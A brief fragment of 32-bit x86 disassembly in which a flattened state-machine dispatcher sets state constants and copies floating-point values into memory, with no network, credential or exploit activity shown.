mov dword [ebp - 0x10c], 0x38986bea
jmp 0x1000b584
mov dword [ebp - 0x10c], 0xb26c14f7
jmp 0x1000b584
mov dword [ebp - 0x10c], 0x5eef8a0
jmp 0x1000b584
mov dword [ebp - 0x10c], 0x65ef5266
jmp 0x1000b584
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100181e4]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xd8be6dbd
jmp 0x1000b584
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100181c8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100181c4]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xa464748c
jmp 0x1000b584
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100181ac]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x1415c8a7
jmp 0x1000b584
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x10c], 0x385cbadc
jmp 0x1000b584
jmp 0x10002c10